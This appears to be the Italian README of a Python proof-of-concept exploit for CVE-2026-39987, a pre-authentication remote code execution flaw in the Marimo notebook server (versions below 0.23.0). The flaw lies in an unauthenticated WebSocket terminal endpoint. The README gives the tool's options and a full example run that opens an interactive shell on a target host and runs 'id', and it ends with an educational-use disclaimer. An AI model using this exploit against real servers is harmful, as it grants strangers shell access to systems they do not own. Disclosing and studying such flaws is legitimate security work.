Proof-of-concept in Python che sfrutta un endpoint terminale WebSocket non autenticato in Marimo (< 0.23.0) per ottenere l'esecuzione remota di codice pre-autenticazione e una shell interattiva.
xpl0ited da infrar3d
Questo è un proof-of-concept di Remote Code Execution (RCE) Pre-Authentication che prende di mira Marimo (< 0.23.0), un server di notebook Python reattivo open-source. Lo script sfrutta un endpoint terminale WebSocket non autenticato per aggirare i controlli di accesso e ottenere una shell interattiva sul server di destinazione senza richiedere alcuna credenziale.
python3 CVE-2026-39987.py --help
usage: CVE-2026-39987.py [-h] -t TARGET [-H VHOST] [-p PATH] [-P PORT] [-s {ws,wss}]
CVE-2026-39987 - Marimo Pre-Auth RCE PoC
options:
-h, --help show this help message and exit
-t, --target TARGET Target host (required)
-H, --vhost VHOST Virtual host (default: marimo.endpoint.exmpl)
-p, --path PATH WebSocket path (default: /terminal/ws)
-P, --port PORT Port (default: 443)
-s, --scheme {ws,wss}
Scheme (default: wss)
python3 CVE-2026-39987.py -t 10.10.10.200 -H marimo.endpoint.exmpl -p /terminal/ws -P 443 -s wss
[*] Connecting to wss://10.10.10.200/terminal/ws (Host: marimo.endpoint.exmpl)
[+] Shell opened. Enter a command (e.g. id) or 'exit':
marimo@serv:~$ id
id
uid=1000(marimo) gid=1000(marimo) groups=1000(marimo)
marimo@serv:~$
Questo software e il codice proof-of-concept sono forniti esclusivamente a scopo educativo e di ricerca.
Sei responsabile del rispetto di tutte le leggi applicabili. Usa in modo etico e responsabile.